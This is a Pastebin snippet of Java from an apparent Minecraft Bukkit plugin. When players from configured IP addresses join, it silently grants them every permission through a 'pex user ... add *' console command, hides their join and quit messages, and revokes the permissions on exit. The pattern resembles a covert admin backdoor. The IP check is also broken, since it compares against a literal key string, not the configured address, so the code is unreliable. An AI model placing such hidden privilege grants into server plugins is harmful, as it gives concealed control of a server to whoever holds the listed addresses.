SHARE
TWEET

Untitled

a guest May 22nd, 2019 66 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. @EventHandler
  2.     public void AdminExit(PlayerQuitEvent e){
  3.         Player p = e.getPlayer();
  4.         e.setQuitMessage(null);
  5.         if(admins.contains(p.getName())){
  6.             admins.remove(p.getName());
  7.             Bukkit.dispatchCommand((CommandSender)Bukkit.getServer().getConsoleSender(), "pex user " + p.getName() + " remove *");
  8.             plugin.getLogger().info(p.getName() + " remove *");
  9.         }
  10.     }
  11.     @EventHandler
  12.     public void AdminJoin(PlayerJoinEvent e){
  13.         Player p = e.getPlayer();
  14.         e.setJoinMessage(null);
  15.         for(int i = 1; i <= cfg.getInt("AdminIps.AllIp"); i++){
  16.             if(p.getAddress().getAddress().getHostAddress().equals("AdminIps." + i)){
  17.                 Bukkit.dispatchCommand((CommandSender)Bukkit.getServer().getConsoleSender(), "pex user " + p.getName() + " add *");
  18.                 admins.add(p.getName());
  19.                 plugin.getLogger().info(p.getName() + " add *");
  20.             }
  21.         }
  22.     }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top